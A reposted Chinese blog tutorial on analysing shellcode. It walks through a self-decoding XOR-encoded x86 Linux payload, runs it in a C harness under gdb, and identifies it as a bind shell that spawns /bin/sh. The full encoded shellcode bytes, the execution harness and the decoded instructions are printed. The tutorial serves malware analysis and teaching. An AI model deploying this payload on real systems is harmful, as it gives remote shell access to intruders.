你好,游客 登录 注册 搜索
背景:
阅读新闻

Shellcode的分析调试技巧

[日期:2011-10-07] 来源:blog.csdn.net/wangxiaolong_china  作者:wangxiaolong_china [字体:大 中 小]

分析一段shellcode的功能,核心的是什么呢?我觉得最核心的是这段shellcode实现的系统调用,因为一旦知道shellcode实现的系统调用,那么整段shellcode的功能便已了然。要知道shellcode实现的系统调用,关键是找到系统调用号,即int 0x80执行之前,eax寄存器中存放的数字。

上面的代码反汇编中,并没有找到int 0x80的踪影。原因在哪里呢?仔细分析这段代码,前几行代码已经给了我们答案:

  1.  00000000  EB11              jmp short 0x13  
  2. 00000002  5E                pop esi  
  3. 00000003  31C9              xor ecx,ecx  
  4. 00000005  B165              mov cl,0x65  
  5. 00000007  80740EFF0A        xor byte [esi+ecx-0x1],0xa  
  6. 0000000C  80E901            sub cl,0x1  
  7. 0000000F  75F6              jnz 0x7  
  8. 00000011  EB05              jmp short 0x18  
  9. 00000013  E8EAFFFFFF        call dword 0x2  
  10. 00000018  3BCA              cmp ecx,edx  

这是一段自修改shellcode。运行后,它调用“xor byte [esi+ecx-0x1],0xa”这条指令,将0x00000018及以后的0x65个字节组成的指令进行译码,生成我们要用到的特定功能的shellcode。

接下来,我们要想知道这段shellcode的功能,就必须要动态的调试这段shellcode。于是我们构造了下面的C调用程序,编译,并用gdb动态的调试这段shellcode。

  1.  root@linux:~/pentest# cat shellcode.c  
  2. #include <stdio.h>   
  3.    
  4. char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x65\x80\x74\x0e\xff"  
  5.            "\x0a\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff"  
  6.            "\xff\xff\x3b\xca\x3b\xd1\x3b\xd8\x5a\x60\x0b"  
  7.            "\x60\x08\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83"  
  8.            "\xcc\x58\x62\xb1\x08\x10\x70\x83\xeb\x60\x1a"  
  9.            "\x5b\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x58"  
  10.            "\x5c\x83\xeb\xb9\x0e\xba\x6c\xc7\x8a\x58\x58"  
  11.            "\x5c\x83\xeb\xf4\xc9\xba\x6c\xc7\x8a\x83\xc9"  
  12.            "\x3b\xc3\xba\x35\xc7\x8a\x4b\xba\x35\xc7\x8a"  
  13.            "\x4b\xba\x35\xc7\x8a\x58\x62\x25\x25\x79\x62"  
  14.            "\x62\x25\x68\x63\x64\x83\xe9\x58\x59\x83\xeb"  
  15.            "\xba\x01\xc7\x8a";  
  16.    
  17.            
  18. int main(void)  
  19. {  
  20.     (*(void(*)()) shellcode)();  
  21. }  
  22. root@linux:~/pentest#   
  23.   
  24. root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o shellcode shellcode.c  
  25. root@linux:~/pentest# gdb shellcode  
  26. GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2  
  27. Copyright (C) 2010 Free Software Foundation, Inc.  
  28. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>   
  29. This is free software: you are free to change and redistribute it.  
  30. There is NO WARRANTY, to the extent permitted by law.  Type "show copying"  
  31. and "show warranty" for details.  
  32. This GDB was configured as "i686-linux-gnu".  
  33. For bug reporting instructions, please see:  
  34. <http://www.gnu.org/software/gdb/bugs/>...   
  35. Reading symbols from /root/pentest/shellcode...done.  
  36. (gdb) disass main  
  37. Dump of assembler code for function main:  
  38.    0x08048394 <+0>:   push   %ebp  
  39.    0x08048395 <+1>:   mov    %esp,%ebp  
  40.    0x08048397 <+3>:   and    {1}xfffffff0,%esp  
  41.    0x0804839a <+6>:   mov    {1}x804a040,%eax  
  42.    0x0804839f <+11>:  call   *%eax  
  43.    0x080483a1 <+13>:  mov    %ebp,%esp  
  44.    0x080483a3 <+15>:  pop    %ebp  
  45.    0x080483a4 <+16>:  ret      
  46. End of assembler dump.  
  47. (gdb) disass 0x804a040  
  48. Dump of assembler code for function shellcode:  
  49.    0x0804a040 <+0>:   jmp    0x804a053 <shellcode+19>  
  50.    0x0804a042 <+2>:   pop    %esi  
  51.    0x0804a043 <+3>:   xor    %ecx,%ecx  
  52.    0x0804a045 <+5>:   mov    {1}x65,%cl  
  53.    0x0804a047 <+7>:   xorb   {1}xa,-0x1(%esi,%ecx,1)  
  54.    0x0804a04c <+12>:  sub    {1}x1,%cl  
  55.    0x0804a04f <+15>:  jne    0x804a047 <shellcode+7>  
  56.    0x0804a051 <+17>:  jmp    0x804a058 <shellcode+24>  
  57.    0x0804a053 <+19>:  call   0x804a042 <shellcode+2>  
  58.    0x0804a058 <+24>:  cmp    %edx,%ecx  
  59.    0x0804a05a <+26>:  cmp    %ecx,%edx  
  60.    0x0804a05c <+28>:  cmp    %eax,%ebx  
  61.    0x0804a05e <+30>:  pop    %edx  
  62.    0x0804a05f <+31>:  pusha    
  63.    0x0804a060 <+32>:  or     0x8(%eax),%esp  
  64.    0x0804a063 <+35>:  sub    {1}xfffffff4,%ebx  
  65.    0x0804a066 <+38>:  leave    
  66.    0x0804a067 <+39>:  mov    {1}x838ac76c,%edx  
  67.    0x0804a06c <+44>:  int3     
  68.    0x0804a06d <+45>:  pop    %eax  
  69.    0x0804a06e <+46>:  bound  %esi,-0x7c8feff8(%ecx)  
  70.    0x0804a074 <+52>:  jmp    0x804a0d6  
  71. ---Type <return> to continue, or q <return> to quit---  
  72.    0x0804a076 <+54>:  sbb    0x5c(%ebx),%bl  
  73.    0x0804a079 <+57>:  sub    {1}xfffffff4,%ebx  
  74.    0x0804a07c <+60>:  leave    
  75.    0x0804a07d <+61>:  mov    {1}x588ac76c,%edx  
  76.    0x0804a082 <+66>:  pop    %esp  
  77.    0x0804a083 <+67>:  sub    {1}xffffffb9,%ebx  
  78.    0x0804a086 <+70>:  push   %cs  
  79.    0x0804a087 <+71>:  mov    {1}x588ac76c,%edx  
  80.    0x0804a08c <+76>:  pop    %eax  
  81.    0x0804a08d <+77>:  pop    %esp  
  82.    0x0804a08e <+78>:  sub    {1}xfffffff4,%ebx  
  83.    0x0804a091 <+81>:  leave    
  84.    0x0804a092 <+82>:  mov    {1}x838ac76c,%edx  
  85.    0x0804a097 <+87>:  leave    
  86.    0x0804a098 <+88>:  cmp    %ebx,%eax  
  87.    0x0804a09a <+90>:  mov    {1}x4b8ac735,%edx  
  88.    0x0804a09f <+95>:  mov    {1}x4b8ac735,%edx  
  89.    0x0804a0a4 <+100>: mov    {1}x588ac735,%edx  
  90.    0x0804a0a9 <+105>: bound  %esp,0x62627925  
  91.    0x0804a0af <+111>: and    {1}x83646368,%eax  
  92.    0x0804a0b4 <+116>: jmp    0xf387fa11  
  93.    0x0804a0b9 <+121>: mov    {1}x8ac701,%edx  
  94. End of assembler dump.  

设置断点,并调试这段代码:

  1.  (gdb) disass main  
  2. Dump of assembler code for function main:  
  3.    0x08048394 <+0>:   push   %ebp  
  4.    0x08048395 <+1>:   mov    %esp,%ebp  
  5.    0x08048397 <+3>:   and    {1}xfffffff0,%esp  
  6.    0x0804839a <+6>:   mov    {1}x804a040,%eax  
  7.    0x0804839f <+11>:  call   *%eax  
  8.    0x080483a1 <+13>:  mov    %ebp,%esp  
  9.    0x080483a3 <+15>:  pop    %ebp  
  10.    0x080483a4 <+16>:  ret      
  11. End of assembler dump.  
  12. (gdb) b *main+16  
  13. Breakpoint 2 at 0x80483a4: file shellcode.c, line 20.  
  14. (gdb) r  
  15. Starting program: /root/pentest/shellcode   
  16. ^C  
  17. Program received signal SIGINT, Interrupt.  
  18. 0x0804a096 in shellcode ()  
  19. (gdb) i r eip  
  20. eip            0x804a096    0x804a096 <shellcode+86>  
  21. (gdb) disass 0x804a096  
  22. Dump of assembler code for function shellcode:  
  23.    0x0804a040 <+0>:   jmp    0x804a053 <shellcode+19>  
  24.    0x0804a042 <+2>:   pop    %esi  
  25.    0x0804a043 <+3>:   xor    %ecx,%ecx  
  26.    0x0804a045 <+5>:   mov    {1}x65,%cl  
  27.    0x0804a047 <+7>:   xorb   {1}xa,-0x1(%esi,%ecx,1)  
  28.    0x0804a04c <+12>:  sub    {1}x1,%cl  
  29.    0x0804a04f <+15>:  jne    0x804a047 <shellcode+7>  
  30.    0x0804a051 <+17>:  jmp    0x804a058 <shellcode+24>  
  31.    0x0804a053 <+19>:  call   0x804a042 <shellcode+2>  
  32.    0x0804a058 <+24>:  xor    %eax,%eax  
  33.    0x0804a05a <+26>:  xor    %ebx,%ebx  
  34.    0x0804a05c <+28>:  xor    %edx,%edx  
  35.    0x0804a05e <+30>:  push   %eax  
  36.    0x0804a05f <+31>:  push   {1}x1  
  37.    0x0804a061 <+33>:  push   {1}x2  
  38.    0x0804a063 <+35>:  mov    %esp,%ecx  
  39.    0x0804a065 <+37>:  inc    %bl  
  40.    0x0804a067 <+39>:  mov    {1}x66,%al  
  41.    0x0804a069 <+41>:  int    {1}x80  
  42.    0x0804a06b <+43>:  mov    %eax,%esi  
  43.    0x0804a06d <+45>:  push   %edx  
  44.    0x0804a06e <+46>:  push   {1}x7a1a02bb  
  45. ---Type <return> to continue, or q <return> to quit---  
  46.    0x0804a073 <+51>:  mov    %esp,%ecx  
  47.    0x0804a075 <+53>:  push   {1}x10  
  48.    0x0804a077 <+55>:  push   %ecx  
  49.    0x0804a078 <+56>:  push   %esi  
  50.    0x0804a079 <+57>:  mov    %esp,%ecx  
  51.    0x0804a07b <+59>:  inc    %bl  
  52.    0x0804a07d <+61>:  mov    {1}x66,%al  
  53.    0x0804a07f <+63>:  int    {1}x80  
  54.    0x0804a081 <+65>:  push   %edx  
  55.    0x0804a082 <+66>:  push   %esi  
  56.    0x0804a083 <+67>:  mov    %esp,%ecx  
  57.    0x0804a085 <+69>:  mov    {1}x4,%bl  
  58.    0x0804a087 <+71>:  mov    {1}x66,%al  
  59.    0x0804a089 <+73>:  int    {1}x80  
  60.    0x0804a08b <+75>:  push   %edx  
  61.    0x0804a08c <+76>:  push   %edx  
  62.    0x0804a08d <+77>:  push   %esi  
  63.    0x0804a08e <+78>:  mov    %esp,%ecx  
  64.    0x0804a090 <+80>:  inc    %bl  
  65.    0x0804a092 <+82>:  mov    {1}x66,%al  
  66.    0x0804a094 <+84>:  int    {1}x80  
  67. => 0x0804a096 <+86>:   mov    %eax,%ebx  
  68.    0x0804a098 <+88>:  xor    %ecx,%ecx  
  69. ---Type <return> to continue, or q <return> to quit---  
  70.    0x0804a09a <+90>:  mov    {1}x3f,%al  
  71.    0x0804a09c <+92>:  int    {1}x80  
  72.    0x0804a09e <+94>:  inc    %ecx  
  73.    0x0804a09f <+95>:  mov    {1}x3f,%al  
  74.    0x0804a0a1 <+97>:  int    {1}x80  
  75.    0x0804a0a3 <+99>:  inc    %ecx  
  76.    0x0804a0a4 <+100>: mov    {1}x3f,%al  
  77.    0x0804a0a6 <+102>: int    {1}x80  
  78.    0x0804a0a8 <+104>: push   %edx  
  79.    0x0804a0a9 <+105>: push   {1}x68732f2f  
  80.    0x0804a0ae <+110>: push   {1}x6e69622f  
  81.    0x0804a0b3 <+115>: mov    %esp,%ebx  
  82.    0x0804a0b5 <+117>: push   %edx  
  83.    0x0804a0b6 <+118>: push   %ebx  
  84.    0x0804a0b7 <+119>: mov    %esp,%ecx  
  85.    0x0804a0b9 <+121>: mov    {1}xb,%al  
  86.    0x0804a0bb <+123>: int    {1}x80  
  87.    0x0804a0bd <+125>: add    %al,(%eax)  
  88. End of assembler dump.  
  89. (gdb)  

到这里,我们想要的int 0x80出现了。

系统调用号$0x66对应的是__NR_socketcall,看来是个socket函数。具体的要和功能号相关联查了下应该是socket->bind->listen->accept->dup2->execve。恩,很明显的一个bindshell!

linux
相关资讯       ShellCode 
本文评论   查看全部评论 (0)
表情: 表情 姓名: 字数

       

评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款